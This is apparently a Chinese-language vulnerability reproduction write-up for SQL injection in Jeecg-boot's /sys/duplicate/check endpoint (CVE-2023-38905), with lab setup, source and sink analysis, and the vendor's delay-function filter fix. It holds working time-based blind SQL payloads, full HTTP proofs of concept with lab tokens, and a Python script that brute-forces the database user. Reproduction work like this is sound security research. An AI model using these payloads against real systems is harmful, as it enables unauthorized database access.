漏洞信息
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/duplicate/check.
SQL injection vulnerability in Jeecg-boot v.3.5.0 and before allows a local attacker to cause a denial of service via the Benchmark, PG_Sleep, DBMS_Lock.Sleep, Waitfor, DECODE, and DBMS_PIPE.RECEIVE_MESSAGE functions.
背景介绍
JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x/3.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发! JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生成器-> 手工MERGE, 帮助Java项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!一系列低代码能力:Online表单、Online报表、Online图表、仪表盘/门户设计、表单设计、流程设计、报表设计、大屏设计 等等...
• 源码:https://github.com/jeecgboot/JeecgBoot
环境搭建
参考这篇博客完成环境搭建:【环境搭建】Jeecg-Boot v3.5.0 Docker搭建-CSDN博客
JeecgBoot 后台服务API接口文档:http://172.18.0.4:8080/jeecg-boot/doc.html#/home
由于需要先登录才能配置Token,可以参考这篇博客:JeecgBoot 后台服务API调用方式详解
先获取验证码,这里的参数key
需要和后面登录的参数checkKey
保持一致:
填上验证码、checkKey、密码、用户名,登录,然后就可以看到token和id了,这两个参数在后面的构造请求中有用:
- 默认账号:admin
- 默认密码:123456
CVE-2023-38905漏洞复现
参考:https://github.com/jeecgboot/JeecgBoot/issues/4737
进入重复校验接口:
抓包,修改fieldName
参数为Payload:
sh
# Payload
1+and if(user( )='root@localhost',sleep(0),sleep(10))
# Payload after encoding
1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))
很简单,这段SQL代码可以通过if语句时间盲注爆破出user(),如果睡眠10秒就是猜错了,响应秒回就是猜对了。
POC:
http
GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&fieldVal=1000&dataId=2000 HTTP/1.1
Host: 172.18.0.4:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzM5MTc2OTIsInVzZXJuYW1lIjoiYWRtaW4ifQ.gw5GBcr_PQCEaIVXPkpevAWP0clXj3PORdA_TKDqDus
Request-Origion: Knife4j
Content-Type: application/x-www-form-urlencoded
knife4j-gateway-code: jeecg-boot
Connection: keep-alive
Referer: http://172.18.0.4:8080/jeecg-boot/doc.html
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; HMACCOUNT=8C21B134ADC13ED8
发包后即可发现执行了sleep10秒:
python
import requests
import time
base_url = "http://172.18.0.4:8080/jeecg-boot/sys/duplicate/check"
fixed_params = {
'tableName': 'sys_log',
'fieldVal': '1000',
'dataId': '2000'
}
headers = {
'Host': '172.18.0.4:8080',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'X-Access-Token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzM5MTc2OTIsInVzZXJuYW1lIjoiYWRtaW4ifQ.gw5GBcr_PQCEaIVXPkpevAWP0clXj3PORdA_TKDqDus',
'Referer': 'http://172.18.0.4:8080/jeecg-boot/doc.html',
'Cookie': 'Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; HMACCOUNT=8C21B134ADC13ED8'
}
usernames = [
'root@localhost',
'admin@localhost',
'user@localhost',
]
threshold = 2.0
for username in usernames:
payload = f"1 and if(user()='{username}',sleep(0),sleep(10))"
params = fixed_params.copy()
params['fieldName'] = payload
start_time = time.time()
response = requests.get(base_url, params=params, headers=headers)
end_time = time.time()
response_time = end_time - start_time
print(f"Testing user: {username}, Response Time: {response_time:.2f} seconds")
if response_time < threshold:
print(f"[+] Success! The current user is: {username}")
break
else:
print("[-] Failed to determine the current user.")
漏洞复现
参考:https://github.com/jeecgboot/JeecgBoot/issues/4129
Payload:
sql
updatexml(1,(select/**/if(length("aaa")>5,1,sleep(10)) union select/**/1),1)
抓包信息如下:
POC:
http
GET /jeecg-boot/sys/duplicate/check?dataId=%272000aa&fieldName=updatexml(1%2C(select%2F**%2Fif(length(%22aaa%22)%3E5%2C1%2Csleep(10))%20union%20select%2F**%2F1)%2C1)&fieldVal=a&tableName=sys_log HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQxMjU2NjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.z35WNdB69X091j6kDsWwo2XkWvdppGrpXeIc7Kv2LPc
Request-Origion: Knife4j
Content-Type: application/x-www-form-urlencoded
knife4j-gateway-code: ROOT
Connection: keep-alive
Referer: http://127.0.0.1:8080/jeecg-boot/
成功SQL注入:
漏洞分析
source位于org.jeecg.modules.system.controller.DuplicateCheckController#doDuplicateCheck
sink位于org.jeecg.modules.system.mapper.SysDictMapper#duplicateCheckCountSql
修复方案
漏洞修复方案:https://my.oschina.net/jeecg/blog/10107636
对BENCHMARK、PG_SLEEP、DBMS_LOCK.SLEEP、WAITFOR、DECODE、DBMS_PIPE.RECEIVE_MESSAGE这些能造成延时的函数进行过滤。